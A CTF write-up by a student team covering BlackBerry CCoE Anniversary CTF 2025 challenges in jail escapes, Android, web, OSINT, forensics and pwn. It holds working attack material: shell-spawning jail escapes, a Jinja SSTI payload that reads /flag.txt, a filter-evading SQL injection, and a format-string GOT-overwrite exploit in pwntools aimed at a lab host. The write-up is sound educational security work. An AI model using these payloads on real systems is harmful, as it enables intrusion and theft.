BlackBerry CCoE Anniversary CTF 2025
Our team USM Biawaks, consisting of me and my 2 juniors (@naomitham and @selinatan) played our first on-site CTF at BlackBerry CCoE Anniversary CTF and we ranked 6th. Here's our writeups for some of the challenges from the event.
Preface
Our team USM Biawaks, consisting of me and my 2 juniors (@naomitham and @selinatan) played our first on-site CTF at BlackBerry CCoE Anniversary CTF and we ranked 6th.
Pretty sure this is the first time our school has ever been invited to a CTF event, and I think we did really well for our debut π. Huge thanks to REHACK and BlackBerry CCoE for the invite, and also to our school for supporting us throughout the event! Thank you for giving us the opportunity to compete with all the other talented hackers in Malaysia.
Challenges that we solved during the event
Eevee Jail - 1 (Jail)
Find a way out from this jail! Flag is at flag.txt
Author n3r
jail-1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/local/bin/python
from shell import shell
blacklist = ["flag", "locals", "vars", "\\", "{", "}"]
banner = '''
========================
= Eevee's Jail 1 =
========================
'''
print(banner)
for _ in [shell]:
while True:
try:
huh = ascii(input("[+] > "))
if any(no in huh for no in blacklist):
raise ValueError("[!] Mission Failed. Try again.")
exec(eval(huh))
except Exception as err:
print(f"{err}")
The userβs input is getting evalβed then execβed, so you can just spawn a bash shell to break the jail.
1
2
3
4
5
6
7
[+] > import os;os.system('bash')
ls
flag.txt
jail-1.py
shell.py
cat flag.txt
bbctf{is_th3r3_another_w4y_70_solv3_this?}
Eevee Jail - 2 (Jail)
Someone said that if the jail is simple, itβs easy to escape from it. Flag is at flag.txt
Author: n3r
nc 157.180.92.15 9002
jail-2.sh
1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
echo "========================
= Eevee's Jail 2 =
========================"
while :
do
read -p "[+] > " huh
o=`$huh`
done
The user input is just getting executed, so you can spawn a shell to escape the jail. However, we donβt get any outputs from our commands, so weβll need to redirect STDOUT to STDERR.
1
2
3
4
5
6
7
8
9
marcus@Marcuss-MacBook-Air eevee2 % nc 157.180.92.15 9002
========================
= Eevee's Jail 2 =
========================
[+] > sh
sh
cat flag.txt 1>&2
cat flag.txt 1>&2
bbctf{wow, thats interesting}
Eevee Jail - 3 (Jail)
Your neighbour can be a bit tricky. Sometimes they help you, sometimes they betray you. Flag is at flag.txt
Author: n3r
nc 157.180.92.15 9003
jail-3.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
echo "========================
= Eevee's Jail 3 =
========================"
function blacklist {
if [[ $1 == *[abcdfgijklquwxz'/''<''>''&''$']* ]]
then
return 0
fi
return 1
}
while :
do
read -p "[+] > " huh
if blacklist "$huh"
then
echo -e '[!] Mission Failed'
else
output=`$huh < /dev/null` &>/dev/null
echo "Command executed"
fi
done
The blacklist in Eevee3 prevents some of the characters youβd normally use for command arguments to spawn an interactive shell, i.e -I
, -c
. The characters needed to spell flag.txt are also blocked.
I tried different things then I found that python3
passess the blacklist filter. However, we canβt use python in interactive mode or use -c
to escape the jail because of the blacklist. At this point, my idea was to leak the flag through python syntax errors.
The trick here is because python doesnβt care about file extensions, as long as the text file you pass to it has valid python syntax. So, if we pass in the flag as a script to python (which doesnβt have valid python code), it will try to parse it and throw a syntax error to leak the flag. We use *
because we canβt spell flag, so we just try to execute everything in the current working directory as python scripts.
1
2
3
4
5
6
7
8
9
10
11
marcus@Marcuss-MacBook-Air eevee3 % nc 157.180.92.15 9003
========================
= Eevee's Jail 3 =
========================
[+] > python3 *
python3 *
File "flag.txt", line 1
bbctf{you really escape the prison this way huh?}
^
SyntaxError: invalid syntax
Command executed
Eevee Jail - 4 (Jail)
Another jail? Now what? Flag is at flag.txt
Author: n3r
jail-4.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "========================\n";
echo "= Eevee's Jail 4 =\n";
echo "========================\n";
echo "[+] > ";
$var = trim(fgets(STDIN));
if($var == null) die("[?] Input needed to escape this prison\n");
function filter($var) {
if(preg_match('/(`|include|read|flag|open|exec|pass|system|\$)/i', $var)) {
return false;
}
return true;
}
if(filter($var)) {
eval($var);
} else {
echo "[!] Restricted characters has been used";
}
echo "\n";
?>
This PHP jail filters out common functions for executing system commands and reading the flag directly. The goal here is to find another PHP function that allows us to read the flag without.
We can use highlight_file to read any file and glob()
to do wildcard matching on filenames because βflagβ is filtered.
1
2
3
4
5
6
7
8
marcus@Marcuss-MacBook-Air eevee4 % nc 157.180.92.15 39325
========================
= Eevee's Jail 4 =
========================
[+] > highlight_file(glob("fl*txt")[0]);
<code><span style="color: #000000">
bbct{hmm.. so unpopular php function i guess?}<br /></span>
</code>
Youβll have to render the HTML to get the actual flag, I got it wrong a couple of times :)
Flag: bbct{hmm.. so unpopular php function i guess?}
Eevee Jail - 5 (Jail)
How do you even escape this? Flag is at flag.txt
Author: n3r
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env ruby
ALLOWED_COMMANDS = ["ls"]
def sanitize_input(input)
forbidden_words = %w[flag eval system read exec irb puts dir]
forbidden_pattern = /\b(?:#{forbidden_words.join('|')})\b/
if input.match(/[&|<>$`]/) || input.match(forbidden_pattern)
return false
end
true
end
def execute_command(cmd)
if ALLOWED_COMMANDS.include?(cmd.split.first)
system(cmd)
else
puts "Command not allowed!"
end
end
puts "========================\n"
puts "= Eevee's Jail 5 =\n"
puts "========================\n"
while true
print "[+] > "
input = gets.chomp
unless sanitize_input(input)
puts "Invalid characters detected!"
next
end
if input.start_with?("ruby:")
begin
eval(input[5..])
rescue Exception => e
puts "Error: #{e.message}"
end
next
end
execute_command(input)
end
In this ruby jail, there are 2 ways we can execute commands. The first is through execute_command(cmd)
but only ls
is allowed. The second is through eval(input[5..])
when the userβs input starts with ruby:
The goal here is to execute system commands using ruby without using any of the filtered words. My idea was to make syscalls since it would let us call /bin/sh without using system. You can refer to this blog post on making system calls from ruby.
1
2
3
4
5
6
7
8
9
10
11
12
13
root@aa2084ac62b0:/ctf# nc 157.180.92.15 39022
========================
= Eevee's Jail 5 =
========================
[+] > ruby:syscall(59, "/bin/sh", 0, 0)
ruby:syscall(59, "/bin/sh", 0, 0)
: 0: can't access tty; job control turned off
$ ls
ls
flag.txt jail-5.rb
$ cat flag.txt
cat flag.txt
bbctf{different language, same approach xx}
Strings (Mobile)
Introduction to mobile source code review
Author: Identities
The app just prints Hello World. From the challenge name, itβs a pretty good guess that the flag is stored as a string in the apk. Strings in an Android app are stored in strings.xml and weβll find the flag here.
Error Messages (Mobile)
Walao wei this intern. Released the app while we are still in development.
Author: Identities
This app also just prints a message to the screen. From the challenge name, itβs a pretty good guess that the flag is in the log messages of the app. You can view log messages from Android apps using Logcat. I used Android Studio here since itβs easier. You also need to get the Android packageβs name to filter out the other noise.
1
2
marcus@Marcuss-MacBook-Air strings % adb shell pm list packages -3
package:definitely.notvulnerable.errormesssages
Spawning an Export (Mobile)
Get you spawn the flag?
Author: Identities
Again, we get another app that just prints a message without any other functionalities.
If we decompile the apk with jadx, weβll find another activity other than MainActivity.
AndroidManifest.xml
1
2
3
4
5
6
7
8
9
10
11
<activity
android:name="definitely.notvulnerable.spawn.flag"
android:exported="true"/>
<activity
android:name="definitely.notvulnerable.spawn.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
You can think of activities as the interfaces of an app that the user interacts with. In this case, we have a hidden activity that should just give us the flag.
To solve, weβll launch the activity through adb.
Youβll need the package name beforehand
1
2
marcus@Marcuss-MacBook-Air spawning % adb shell pm list packages -3
package:definitely.notvulnerable.spawn
Launch the activity
1
adb shell am start -n definitely.notvulnerable.spawn/definitely.notvulnerable.spawn.flag
Sekurenote (Web)
I dont think you are able to get the flag. The captcha is too strong :(
Note: This challengeβs login is meant to be bruted. Check source code for which wordlist to use :)
Author: vicevirus http://157.180.92.15:7999/
There is an SSTI vulnerability in admin_notes()
because the safe
filter is used to render the userβs input. When safe
is used, Jinja assummes that youβve properly sanitized the userβs input, and will not escape them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def admin_notes():
if not session.get('admin'):
return jsonify({'error': 'unauthorized'}), 403
note_render = ''
if request.method == 'POST':
raw_note = request.form.get('note', '')
try:
note_render = render_template_string(raw_note)
except:
note_render = 'Error rendering note.'
return render_template_string('''
...[SNIP]...
<div style="margin-top: 1rem;"></div>
</div>
</body>
</html>
''', note_render=note_render)
To call admin_notes()
, we must first be the admin user.
This is shown in login()
. The adminβs hardcoded password is RANDOMPASSWORD when testing locally. The hint suggests that we need to brute force the adminβs password with the rockyou wordlist.
1
2
3
4
5
6
7
8
9
10
11
def login():
message = None
message_class = ''
if request.method == 'POST':
username = request.form.get('username', '')
password = request.form.get('password', '')
captcha_input = request.form.get('captcha', '')
if captcha_input.upper() != session.get('captcha', '').upper():
message = 'Captcha incorrect. Please try again.'
message_class = 'error'
elif username == 'admin' and password == 'RANDOMPASSWORD': # rockyou
There is also another reusable CAPTCHA vulnerability here, which lets us brute force the userβs password.
Eventually, youβll get a hit on βpeachesβ. Then we can login as admin, and use the SSTI vulnerability to read the flag on the server.
SSTI payload:
1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }}
Flag: BBCTF{c4ptcha_4nd_sst1_m4st3r!}
sqli-1 (Web)
This store is only for my customers to visit and do online purchase. There are Apple, Banana and Cherry. Nothing else right?
Author: yappare http://157.180.92.15:5001/
To use the search function, we need to set the user agent to UMCS-CTF.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def index():
if request.method == 'POST':
search_term = request.form.get('search')
user_agent = request.headers.get('User-Agent')
if user_agent != 'UMCS-CTF':
return abort(403)
query = f"SELECT * FROM products WHERE name LIKE '%{search_term}%'"
cursor = mysql.connection.cursor()
try:
cursor.execute(query)
results = cursor.fetchall()
return render_template('index.html', results=results)
except:
return abort(403)
return render_template('index.html')
The SQLi is at Line 13 in app/routes.py. We can do a UNION SELECT to retrieve the flag from the flag table.
sqli-2 (Web)
My previous web store was hacked. :( I now understand what needs to be done. I will give you no more space hackers!
Author: yappare http://157.180.92.15:5002/
Similar to sqli-1, but this time the server filters for space and comma characters so we canβt do a simple UNION SELECT with the SQLi.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
search_term = request.form.get('search')
if ' ' in search_term or ',' in search_term:
return abort(403)
query = f"SELECT * FROM products WHERE name LIKE '%{search_term}%'"
cursor = mysql.connection.cursor()
try:
cursor.execute(query)
results = cursor.fetchall()
return render_template('index.html', results=results)
except:
return abort(403)
return render_template('index.html')
Ippsec goes over the trick to bypass this filter, but essentially weβll use aliases and JOINs to substitute the comma characters in our UNION SELECT query.
To bypass the space character filter, you can use any other whitespace character. I used /**/
comments.
Payload:
1
apple'/**/union/**/all/**/select/**/*/**/from/**/(select/**/null)/**/as/**/a/**/cross/**/join/**/(select/**/flag_value/**/from/**/flag)/**/as/**/b;--/**/-'
UNION without commas and spaces
Lost and Found (Misc)
A historic ship was lost and sank, then rediscovered a century later. Track down the research vessel that found it and uncover the location of the home port, where the vessel docks regularly. Find out the GPS location of the home port of that research vessel and rounded to three decimal places.
Flag Format: bbctf{latitude_longitude} rounded to three decimal places.
Added description as hint The ship that you found on the Google Maps with the ship name is pointed incorrectly. You can find out the correct ship with Google Search View
Author: sREe
Solved by @selinatan
Endurance ship The image given shows a ship trapped in ice. It is Endurance ship.
Research indicates that the SA Agulhas II, a South African research vessel, discovered the wreck.
Its home port is identified as Cape Town.
A search for βSA Agulhas II Cape Townβ in Google Map provides the general docking area, but the portβs GPS coordinates are not the flag.
Then switch to Street View along E Pier Road reveals a red and white ship looks similar as the SA Agulhas II.
Zooming in confirms the ship is the SA Agulhas II.
Exiting Street View and pointing the shipβs exact location and get the GPS location
Flag: bbctf{-33.902_8.425}
π© (Misc)
A past MCC participant shared a mysterious image of a red flag on a online map during their stay at a hotel. Hmmm, I just need to find out which year of the MCC batch stayed at which hotel.
Note: Flag itself is appeared as the file type mentioned in description.
Flag format: bbctf{β¦..}
Author: sREe Solved by @naomitham
Search βMCC red flagβ on google Map then directly get the location.
Clicking on the associated image in the search results, which showed the flag.
Flag: bbctf{r3d_fl4g_5p0tt3r}
Jurassic.MY (Misc)
On a peaceful road in a distant location, a peculiar dinosaur crossing sign was spotted. The dinosaur shown on the bright yellow sign contrasts sharply with the surrounding dense forest. This odd and unexpected sight has drawn attention, leading people to question where it is and why. Locate this signβs precise GPS location, round it close to three decimal places.
Flag Format: bbctf{latitude_longitude} rounded to three decimal places.
Author: sREe
Solved by @naomitham
The first thing I did was upload the provided image (velociraptor.png) to Google Lens to check for any similar matches. To my surprise, it turned out to be a viral image on the internet. I browsed through the TikTok comments, hoping someone had pinpointed the exact location of the road sign, but had no luck.
However, a few online news sources mentioned that it might be somewhere along Jalan Kuala Ketil in Sungai Petani. I attempted to scan the long stretch of road on Google Maps, but it proved too time-consuming.
Fortunately, I came across a report by Penang China Press, which mentioned that the road sign is located somewhere along the route from Yarra Park heading toward Jalan Kuala Ketil.
Now the I have narrowed down the search area, it didnβt take long to find the signboard with Google Street View. And that led me to the correct coordinates for the flag.
Overall, this was a fun challenge to kick off the CTF in the MISC category ^^.
Flag: bbctf{5.617_100.557}
Etched in History (Misc)
An image of an intricate wood carving statue tied to a region known for its rich heritage and craftsmanship has surfaced. Use your OSINT skills to trace its cultural significance and historical context. Find out the location of the museum where the statue is displayed. Give the exact GPS coordinates close to three decimal places.
Flag Format: bbctf{latitude_longitude} rounded to three decimal places.
Author: sREe
Upon realizing that this challenge was also an OSINT task requiring us to obtain the coordinates of a museum for the flag, I decided to apply the same approach I used in the Jurrasic.MY challenge. I started by reverse searching the given image using Google Lens and found a highly similar match. The link led me to a blog post on Mobile01 titled βιιι±ι±η°ε³ΆοΌοΌθ»ε°εΏζ°£ι«ε°ι²θ±ΉδΉζ»δΊΊιͺ¨ι η§εΎ,β authored by a motorcyclist documenting his journey around Taiwan. As I read through his blog, I discovered that the photo was taken during his visit to an exhibition in Pingtung. The next step was to search for the name of the exhibition and its location. After some digging, I came across a Facebook post that matched the event mentioned in the blog. This post confirmed that it was indeed the same exhibition visited by the motorcyclist, and it also specified the venue where the exhibition took place:
https://www.facebook.com/laiyi1000105/posts/pfbid0GxFwhRGL5tXeNFRxDHAz45H5XDgHhSmmF2SrQUCAoth2UhtsFvVroGiDLQuEykMBl
With the exhibition details in hand, I turned to Google Maps to pinpoint the exact location of the museum.
Pingtung County Laiyi Aboriginal Museum
I also browsed through the images uploaded by previous visitors on Google Maps to check if any matched the given image β and sure enough, I found a match. This confirmed that I had identified the correct museum.
We found the same statues from the challenge file
Flag: bbctf{22.434_120.637}
Where It all Began (Misc)
A photograph of an old American school bus converted into a cafe was recently shared by someone searching for a lost connection. This cafe was their first meeting spot, a place filled with fond memories. They hope to rediscover its exact location to rekindle those moments.
Flag Format: bbctf{latitude_longitude} rounded to three decimal places.
Author: sREe
Solved by @naomitham
This challenge was originally attempted by @selinatan, she figured out that the coffee bus is located at Chiangmai, Thailand. I then tried to search for βschool bus cafΓ© thailandβ, thinking that it could be a tourist hotspot. I then noticed that there is the same image in Flickr here.
Same image as challenge file on Flickr
So I searched for βchiang mai coffee busβ in Google Maps.
The coordinates of this search result is not the correct flag, so I tried to view the place with Google Street View, hoping to get a more precise set of coordinates. And thereβs the flag: bbctf{18.824_99.010}
F*** Microsoft (Forensics)
OMG. I HATE WINDOWS UPDATE. HOW CAN YOU AUTO UPDATE WHEN IM 80% DONE WITH MY ASSIGNMENT. I DIDNβT SAVE ANYTHING, IT BETTER AUTO RECOVERS.
Author: Identities
In this challenge, a zip file is given with a .ad1 file. We used the FTK Imager which is a digital forensic tool to inspect the image. Upon inspection, it is found that in the Desktop folder, there is an Assignment folder containing .docx files. One of them is the Word file which is believed not to be the one with the latest changes saved, as we searched for the flag in the file but did not find it. Therefore, there must be a recovered file containing the most recent version.
C:/Users/kali/Desktop/Assignment
Microsoft Word uses AutoRecover files (*.asd
) to temporarily store unsaved changes in the event of an unexpected shutdown or crash.
These AutoRecover files are stored in C:\Users\Username\AppData\Roaming\Microsoft\Word
.
We extracted the AutoRecover file and found the flag in it.
Flag in AutoRecovery save of CTF Assignment.asd
Flag: bbctf{TH@NkS_FOr_tHi$_Fea7uR3_,_mY_AS5iGnMeNT_IsNt_G0nE}
Challenges that I didnβt get to try during the event
GOT DAMN!!!!!!!! (Pwn)
How does an ELF file knows where the imported function being stored?????
Author: CapangJabba
This challenge is about using a printf vulnerability to overwrite a GOT entry to ret2win.
Binary protections:
1
2
3
4
5
6
7
8
9
10
(ctfvenv) benkyou@fedora:~/Dev/bbctf/gotdamn$ checksec chall
[*] '/home/benkyou/Dev/bbctf/gotdamn/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
If we look at the symbols in the binary, weβll find a win function.
1
2
3
(ctfvenv) benkyou@fedora:~/Dev/bbctf/gotdamn$ nm ./chall
...[SNIP]...
000000000040121d T win
Disassembling win
, the function loads some value at [rip+0xddc]
into rdi
before calling system
.
1
2
3
4
5
6
7
8
9
10
11
12
13
(ctfvenv) benkyou@fedora:~/Dev/bbctf/gotdamn$ objdump -S ./chall -M intel --disassemble=win
...[SNIP]...
000000000040121d <win>:
40121d: f3 0f 1e fa endbr64
401221: 55 push rbp
401222: 48 89 e5 mov rbp,rsp
401225: 48 8d 05 dc 0d 00 00 lea rax,[rip+0xddc] # 402008 <_IO_stdin_used+0x8>
40122c: 48 89 c7 mov rdi,rax
40122f: b8 00 00 00 00 mov eax,0x0
401234: e8 77 fe ff ff call 4010b0 <system@plt>
401239: 90 nop
40123a: 5d pop rbp
40123b: c3 ret
If we step through the program, weβll find that β/bin/shβ is the value loaded into rdi
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> b main
Breakpoint 1 at 0x401244
pwndbg> disassemble win
Dump of assembler code for function win:
0x000000000040121d <+0>: endbr64
0x0000000000401221 <+4>: push rbp
0x0000000000401222 <+5>: mov rbp,rsp
0x0000000000401225 <+8>: lea rax,[rip+0xddc] # 0x402008
0x000000000040122c <+15>: mov rdi,rax
0x000000000040122f <+18>: mov eax,0x0
0x0000000000401234 <+23>: call 0x4010b0 <system@plt>
0x0000000000401239 <+28>: nop
0x000000000040123a <+29>: pop rbp
0x000000000040123b <+30>: ret
End of assembler dump.
pwndbg> b *win+8
Breakpoint 2 at 0x401225
pwndbg> r
...[SNIP]...
pwndbg> jump win
Continuing at 0x401225.
Breakpoint 2, 0x0000000000401225 in win ()
...[SNIP]...
*RIP 0x401225 (win+8) ββ lea rax, [rip + 0xddc]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ DISASM / x86-64 / set emulate on ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βΊ 0x401225 <win+8> lea rax, [rip + 0xddc] RAX => 0x402008 ββ 0x68732f6e69622f /* '/bin/sh' */
0x40122c <win+15> mov rdi, rax RDI => 0x402008 ββ 0x68732f6e69622f /* '/bin/sh' */
0x40122f <win+18> mov eax, 0 EAX => 0
0x401234 <win+23> call system@plt <system@plt>
0x401239 <win+28> nop
0x40123a <win+29> pop rbp
0x40123b <win+30> ret
0x40123c <main> endbr64
0x401240 <main+4> push rbp
0x401241 <main+5> mov rbp, rsp
0x401244 <main+8> sub rsp, 0x170
So, our goal is to change the control flow of the program to win
to spawn a bash shell.
To do this, weβll leverage a printf
vulnerability in the program.
The hex values for %x
start at offset 10.
1
2
3
4
5
6
Welcome to this GOTDamn 'leave a message' system
Enter your name: aaaa
Enter your message: %x %x %x %x %x %x %x %x %x %x %x %x %x %x
Thank you
Mr/Ms aaaa
ffffd500 0 0 73 ffffffff 61616161 0 0 3e8 25207825 20782520 78252078 25207825 20782520
Finally, we use %n
to use printf
to overwrite the GOT entry for puts
. puts
just happens to get called right after the printf
in this program, so it will point to the address of win
after the overwrite.
The exploit:
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
elf = ELF("./chall")
# p = elf.process()
p = remote("157.180.92.15", 56647)
context.binary = elf
p.sendlineafter(b"Enter your name: ", b"AAAA")
payload = fmtstr_payload(10, {elf.got['puts'] : elf.symbols.win})
p.sendlineafter(b"Enter your message: ", payload)
p.interactive()
Flag: bbctf{dontwealllovegot}
THERE_SIR (Pwn)
where does a pointer points to?
Author: CapangJabba
This is another ret2win challenge where the win function calls system
. The challenge involves writing β/bin/shβ to a writable memory section in the program to call system
as we donβt have a libc leak.
Binary protections:
1
2
3
4
5
6
7
8
9
10
(ctfvenv) benkyou@fedora:~/Dev/bbctf/there_sir$ checksec chall
[*] '/home/benkyou/Dev/bbctf/there_sir/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Right off the bat, we know the program is vulnerable to buffer overflow.
1
2
(ctfvenv) benkyou@fedora:~/Dev/bbctf/there_sir$ python3 -c 'print("A"*100)' | ./chall
Enter something: Enter message: Segmentation fault (core dumped)
If we look at the symbols in the binary, weβll find vuln
and win
.
1
2
3
4
(ctfvenv) benkyou@fedora:~/Dev/bbctf/there_sir$ nm ./chall
...[SNIP]...
00000000004012e5 T vuln
000000000040129c T win
Disassembling vuln
, we know that the buffer overflow occurs at the second call to read
, when the program asks you to βEnter message:β. Here, the program reads in 0x400 bytes into the buffer which causes the overflow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@531d805bd551:/ctf# objdump -M intel -S ./chall --disassemble=vuln
...[SNIP]...
00000000004012e5 <vuln>:
4012e5: f3 0f 1e fa endbr64
4012e9: 55 push rbp
4012ea: 48 89 e5 mov rbp,rsp
4012ed: 48 83 ec 40 sub rsp,0x40
4012f1: 48 8d 05 25 0d 00 00 lea rax,[rip+0xd25] # 40201d <_IO_stdin_used+0x1d>
4012f8: 48 89 c7 mov rdi,rax
4012fb: b8 00 00 00 00 mov eax,0x0
401300: e8 cb fd ff ff call 4010d0 <printf@plt>
401305: ba 10 00 00 00 mov edx,0x10
40130a: 48 8d 05 7f 2d 00 00 lea rax,[rip+0x2d7f] # 404090 <hurm>
401311: 48 89 c6 mov rsi,rax
401314: bf 00 00 00 00 mov edi,0x0
401319: e8 d2 fd ff ff call 4010f0 <read@plt>
40131e: 48 8d 05 0a 0d 00 00 lea rax,[rip+0xd0a] # 40202f <_IO_stdin_used+0x2f>
401325: 48 89 c7 mov rdi,rax
401328: b8 00 00 00 00 mov eax,0x0
40132d: e8 9e fd ff ff call 4010d0 <printf@plt>
401332: 48 8d 45 c0 lea rax,[rbp-0x40]
401336: ba 00 04 00 00 mov edx,0x400
40133b: 48 89 c6 mov rsi,rax
40133e: bf 00 00 00 00 mov edi,0x0
401343: e8 a8 fd ff ff call 4010f0 <read@plt>
401348: 90 nop
401349: c9 leave
40134a: c3 ret
Disassembling win
, we see that the value in rdi
is cmp
with 0x539. If this is true, then it branches to <win+58>
which loads the value from rsi
into rdi
and calls system
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> disassemble win
Dump of assembler code for function win:
0x000000000040129c <+0>: endbr64
0x00000000004012a0 <+4>: push rbp
0x00000000004012a1 <+5>: mov rbp,rsp
0x00000000004012a4 <+8>: sub rsp,0x10
0x00000000004012a8 <+12>: mov DWORD PTR [rbp-0x4],edi
0x00000000004012ab <+15>: mov QWORD PTR [rbp-0x10],rsi
0x00000000004012af <+19>: cmp DWORD PTR [rbp-0x4],0x539
0x00000000004012b6 <+26>: je 0x4012d6 <win+58>
0x00000000004012b8 <+28>: lea rax,[rip+0xd4e] # 0x40200d
0x00000000004012bf <+35>: mov rdi,rax
0x00000000004012c2 <+38>: mov eax,0x0
0x00000000004012c7 <+43>: call 0x4010d0 <printf@plt>
0x00000000004012cc <+48>: mov edi,0x0
0x00000000004012d1 <+53>: call 0x401120 <exit@plt>
0x00000000004012d6 <+58>: mov rax,QWORD PTR [rbp-0x10]
0x00000000004012da <+62>: mov rdi,rax
0x00000000004012dd <+65>: call 0x4010c0 <system@plt>
0x00000000004012e2 <+70>: nop
0x00000000004012e3 <+71>: leave
0x00000000004012e4 <+72>: ret
Therefore, our goal is to use the buffer overflow to set the first parameter (rdi
) to 0x539, and the second parameter (rsi
) to β/bin/shβ to spawn a shell.
Find the offset for the buffer overflow:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pwndbg> disassemble main
Dump of assembler code for function main:
0x000000000040134b <+0>: endbr64
0x000000000040134f <+4>: push rbp
0x0000000000401350 <+5>: mov rbp,rsp
0x0000000000401353 <+8>: sub rsp,0x10
0x0000000000401357 <+12>: mov DWORD PTR [rbp-0x4],edi
0x000000000040135a <+15>: mov QWORD PTR [rbp-0x10],rsi
0x000000000040135e <+19>: mov eax,0x0
0x0000000000401363 <+24>: call 0x401237 <initialize>
0x0000000000401368 <+29>: mov eax,0x0
0x000000000040136d <+34>: call 0x4012e5 <vuln>
0x0000000000401372 <+39>: mov eax,0x0
0x0000000000401377 <+44>: leave
0x0000000000401378 <+45>: ret
End of assembler dump.
pwndbg> b *main+45
Breakpoint 1 at 0x401378
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> r
Starting program: /home/benkyou/Dev/bbctf/there_sir/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Enter something: AAA
Enter message: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
...[SNIP]...
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
ββββββββββββββββββββββββββββββββββββββββββββββββ[ REGISTERS / show-flags off / show-compact-regs off ]ββββββββββββββββββββββββββββββββββββββββββββββββ
RAX 0x65
RBX 0x7fffffffd948 ββΈ 0x7fffffffdd88 ββ '/home/benkyou/Dev/bbctf/there_sir/chall'
RCX 0x7ffff7e99811 (read+17) ββ cmp rax, -0x1000 /* 'H=' */
RDX 0x400
RDI 0
RSI 0x7fffffffd7c0 ββ 0x6161616161616161 ('aaaaaaaa')
R8 0x7fffffffd750 ββ 0
R9 0x7ffff7fca1a0 (_dl_fini) ββ endbr64
R10 0
R11 0x246
R12 1
R13 0
R14 0x7ffff7ffd000 (_rtld_local) ββΈ 0x7ffff7ffe2f0 ββ 0
R15 0x403e18 (__do_global_dtors_aux_fini_array_entry) ββΈ 0x4011e0 (__do_global_dtors_aux) ββ endbr64
RBP 0x6161616161616169 ('iaaaaaaa')
RSP 0x7fffffffd808 ββ 0x616161616161616a ('jaaaaaaa')
RIP 0x40134a (vuln+101) ββ ret
...[SNIP]...
pwndbg> cyclic -l jaaaaaaa
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72
To pass the expected parameters to win
, weβll need pop rdi
and pop rsi
gadgets.
Our pop rdi
gadget is at 0x401381
.
1
2
(ctfvenv) benkyou@fedora:~/Dev/bbctf/there_sir$ ROPgadget --binary ./chall | grep rdi
0x0000000000401381 : pop rdi ; ret
Our pop rsi
gadget is at 0x401383
.
1
2
(ctfvenv) benkyou@fedora:~/Dev/bbctf/there_sir$ ROPgadget --binary ./chall | grep rsi
0x0000000000401383 : pop rsi ; ret
Because the version of libc was never given for this challenge, we canβt find the address of β/bin/shβ to store in rsi
. I did try guessing multiple common versions of libc, but didnβt work :D
Instead, we need to write β/bin/shβ to a writable memory section in the program, and point its address to rsi
. To do this, weβll need to use the read
gadget in the program to write to the memory section.
To find writable sections, you can use objdump -h
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@a4026eb3f513:/ctf# objdump -h ./chall
./chall: file format elf64-x86-64
Sections:
Idx Name Size VMA LMA File off Algn
...[SNIP]...
19 .init_array 00000008 0000000000403e10 0000000000403e10 00002e10 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .fini_array 00000008 0000000000403e18 0000000000403e18 00002e18 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .dynamic 000001d0 0000000000403e20 0000000000403e20 00002e20 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .got 00000010 0000000000403ff0 0000000000403ff0 00002ff0 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .got.plt 00000058 0000000000404000 0000000000404000 00003000 2**3
CONTENTS, ALLOC, LOAD, DATA
24 .data 00000010 0000000000404058 0000000000404058 00003058 2**3
CONTENTS, ALLOC, LOAD, DATA
25 .bss 00000030 0000000000404070 0000000000404070 00003068 2**4
ALLOC
26 .comment 0000002b 0000000000000000 0000000000000000 00003068 2**0
We have a couple of options to choose from here, Iβll write β/bin/shβ to .data
.
The exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
